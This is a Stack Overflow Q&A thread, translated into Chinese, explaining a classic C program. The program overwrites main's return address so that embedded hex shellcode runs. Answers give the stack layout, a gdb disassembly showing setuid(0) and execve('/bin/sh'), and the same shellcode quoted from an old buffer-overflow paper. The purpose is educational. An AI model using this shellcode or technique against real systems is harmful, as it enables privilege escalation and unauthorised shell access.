有人能向我解释一下这段代码吗?

16

警告:这是一个漏洞利用代码,请勿执行。

//shellcode.c

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 
    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return
                           //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the
                             //address of the shellcode, so it executes.
}

有人能给我一个更好的解释吗?


我赞同0xA3所说的。这看起来非常可疑。@Abed,如果你在你的机器上发现了这个东西,你应该仔细检查一下是否被入侵了。 - Josh
谢谢,Josh。我知道这是一种漏洞利用,我正在学习《灰帽黑客》第二版这本书,所以不用担心,我想成为一名灰帽黑客 :) - 0xab3d
2
@0xA3 为什么你在说话之前不先反汇编那段代码呢?它只是提供了一个 shell。 - Yuda Prawira
7个回答

25
显然,这段代码试图更改堆栈,以便当主函数返回时,程序执行不会正常返回到运行时库(这通常会终止程序),而是会跳转到保存在shellcode数组中的代码。
1) int *ret;
定义一个变量在堆栈上,就在main函数的参数下方。
2) ret = (int *)&ret + 2;
让ret变量指向一个int*,该int*位于ret以上两个int的位置。据说这就是程序将继续运行的返回地址所在的位置,当main函数返回时。
3) (*ret) = (int)shellcode;
将返回地址设置为shellcode数组内容的地址,这样当main函数返回时,shellcode的内容将被执行。
shellcode似乎包含可能调用系统调用来启动/bin/sh的机器指令。我可能错了,因为我实际上没有反汇编shellcode。
P.S.:此代码依赖于计算机和编译器,并且可能无法在所有平台上工作。
回答您的第二个问题:
ret=(int)&ret +2会发生什么?为什么我们要加2?为什么不是3或4?我认为int是4字节,所以2将是8字节,对吗?
ret声明为int*,因此将int(例如(int)&ret)分配给它将导致错误。至于为什么要加2而不是其他任何数字:显然是因为此代码假定返回地址将位于堆栈上的那个位置。考虑以下内容:
  • 这段代码假设当某些内容被压入时,调用堆栈向下增长(如在英特尔处理器上确实如此)。这就是为什么要添加数字而不是减去数字的原因:返回地址位于高于自动(本地)变量(例如ret)的内存地址。

  • 从我记得的英特尔汇编日子里,C函数通常是这样调用的:首先,所有参数以相反的顺序(从右到左)推入堆栈。然后,调用函数。因此,返回地址被推入堆栈。然后,设置一个新的堆栈帧,其中包括将ebp寄存器推入堆栈。然后,在所有已经推入堆栈的内容下面设置本地变量。

现在,我假设您的程序具有以下堆栈布局:

+-------------------------+
|  function arguments     |                       |
|  (e.g. argv, argc)      |                       |  (note: the stack
+-------------------------+   <-- ss:esp + 12     |   grows downward!)
|  return address         |                       |
+-------------------------+   <-- ss:esp + 8      V
|  saved ebp register     |                       
+-------------------------+   <-- ss:esp + 4  /  ss:ebp - 0  (see code below)
|  local variable (ret)   |                       
+-------------------------+   <-- ss:esp + 0  /  ss:ebp - 4

在底部是ret(一个32位整数)。上面是保存的ebp寄存器(也是32位宽)。再上面是32位的返回地址。(再上面是main的参数--argcargv,但这些在这里不重要。)当函数执行时,堆栈指针指向ret。返回地址位于ret的64位“上方”,对应于+ 2中的“+2”。

ret = (int*)&ret + 2; 

它是+2,因为ret是一个int*,而int是32位的,因此加上2意味着将其设置为比(int*)&ret高64位的内存位置......如果上面段落中的所有假设都是正确的话,那么这将是返回地址的位置。


旁注:让我用Intel汇编语言演示一下C函数的调用方式(如果我记得正确的话——我不是这个主题的专家,所以我可能会错):

// first, push all function arguments on the stack in reverse order:
push  argv
push  argc

// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call  main

// (afterwards: clean up stack by removing the function arguments, e.g.:)
add   esp, 8

在主函数中,可能会发生以下情况:
// create a new stack frame and make room for local variables:
push  ebp
mov   ebp, esp
sub   esp, 4

// access return address:
mov   edi, ss:[ebp+4]

// access argument 'argc'
mov   eax, ss:[ebp+8]

// access argument 'argv'
mov   ebx, ss:[ebp+12]

// access local variable 'ret'
mov   edx, ss:[ebp-4]

...

// restore stack frame and return to caller (by popping the return address)
mov   esp, ebp
pop   ebp
retf

参见:在C语言中,过程调用顺序的说明也提供了另一种解释此主题的方法。


谢谢,很好,我明白了。但是我有一个问题,当你在第二点中说“int *”时,你是指整个语句“(int *)&ret”吗? - 0xab3d
如果我使用ret=(int)&ret+2会发生什么?为什么要加2?为什么不是3或4?我认为int是4个字节,所以2将是8个字节,对吗? - 0xab3d
@kmitnick - 你可能会发现我对另一个问题的回答也很有用,可以帮助你理解为什么要添加2 - https://dev59.com/UUzSa4cB1Zd3GeqPqeEI#2548562 - jschmier
谢谢你,stakx,这是非常好的解释,+A答案,但最后一个问题,由于ret是一个指针,如果我们写ret=&ret + 2,那么我们会得到相同的结果吗?我理解你的意思是让ret指向ret + 2的地址,那么(int *)后面跟着一个地址是否意味着让ret指向该地址? - 0xab3d
@kmitnick:不确定我是否正确地理解了您的问题。 &ret 将返回 ret 的内存位置,其类型为 void*。为了能够将指针“移动”到距离 ret 地址 8 字节的内存位置,需要将其转换为 int* 类型。然后 +2 并不是将值 2 添加到 ret 上,而是 2*sizeof(int) - stakx - no longer contributing

19
实际的shellcode是:
(gdb) x /25i &shellcode
0x804a040 <shellcode>:      xor    %eax,%eax
0x804a042 <shellcode+2>:    xor    %ebx,%ebx
0x804a044 <shellcode+4>:    mov    $0x17,%al
0x804a046 <shellcode+6>:    int    $0x80
0x804a048 <shellcode+8>:    jmp    0x804a069 <shellcode+41>
0x804a04a <shellcode+10>:   pop    %esi
0x804a04b <shellcode+11>:   mov    %esi,0x8(%esi)
0x804a04e <shellcode+14>:   xor    %eax,%eax
0x804a050 <shellcode+16>:   mov    %al,0x7(%esi)
0x804a053 <shellcode+19>:   mov    %eax,0xc(%esi)
0x804a056 <shellcode+22>:   mov    $0xb,%al
0x804a058 <shellcode+24>:   mov    %esi,%ebx
0x804a05a <shellcode+26>:   lea    0x8(%esi),%ecx
0x804a05d <shellcode+29>:   lea    0xc(%esi),%edx
0x804a060 <shellcode+32>:   int    $0x80
0x804a062 <shellcode+34>:   xor    %ebx,%ebx
0x804a064 <shellcode+36>:   mov    %ebx,%eax
0x804a066 <shellcode+38>:   inc    %eax
0x804a067 <shellcode+39>:   int    $0x80
0x804a069 <shellcode+41>:   call   0x804a04a <shellcode+10>
0x804a06e <shellcode+46>:   das    
0x804a06f <shellcode+47>:   bound  %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>:   das    
0x804a073 <shellcode+51>:   jae    0x804a0dd
0x804a075 <shellcode+53>:   add    %al,(%eax)

这大致对应于

setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);

谢谢Chris,非常感激:) - 0xab3d
你有没有自动将Shellcode转换为汇编代码的方法,而不需要手动查找? - Rizwan Kassim
2
这是通过编译示例,对生成的可执行文件运行gdb,并使用“x /25i&shellcode”进行反汇编而产生的。 - Chris Dodd

15

那个字符串来自于一个关于缓冲区溢出的旧文档,它会执行 /bin/sh。由于它是恶意代码(当与缓冲区攻击配对时),下次你应该真的包含它的来源。

从同一份文档中,如何编写基于堆栈的攻击

/* the shellcode is hex for: */
      #include <stdio.h>
       main() { 
       char *name[2]; 
       name[0] = "sh"; 
       name[1] = NULL;
       execve("/bin/sh",name,NULL);
          } 

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
         \x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
         \xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

你所包含的代码会执行shellcode[]中的内容,运行execve,并提供对shell的访问权限。而什么是Shellcode?来自Wikipedia的定义如下:

在计算机安全领域,Shellcode是一小段用作软件漏洞利用载荷的代码。它被称为"Shellcode",因为它通常会启动一个命令Shell,从而使攻击者可以控制受攻击的机器。Shellcode通常是用机器码编写的,但任何执行类似任务的代码都可以被称为Shellcode。


5
不查看所有实际操作码以确认,shellcode 数组包含执行 /bin/sh 所需的机器码。这个shellcode 是精心构建的机器码,用于在特定目标平台上执行所需操作,并且不包含任何null字节。 main() 中的代码更改返回地址和执行流程,以使程序通过执行shellcode数组中的指令来生成一个 shell。
请参见Smashing The Stack For Fun And Profit,了解如何创建此类 shellcode 以及如何使用它。

0

该字符串包含以十六进制表示的一系列字节。

这些字节对于特定平台上的特定处理器编码了一系列指令,希望是你的处理器。(编辑:如果是恶意软件,希望不是你的!)

变量的定义只是为了获取对堆栈的句柄。就像书签一样。然后使用指针算术运算(还与平台有关),以操纵程序状态使处理器跳转并执行字符串中的字节。


0
每个\xXX都是一个十六进制数。一个、两个或三个这样的数字组合在一起形成一个操作码(可以谷歌搜索)。它们一起形成汇编代码,可以被机器直接执行。而这段代码试图执行shellcode。
我认为这个shellcode试图生成一个shell。

0

这只是生成一个 /bin/sh 的例子,比如在 C 语言中可以使用 execve("/bin/sh", NULL, NULL);


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接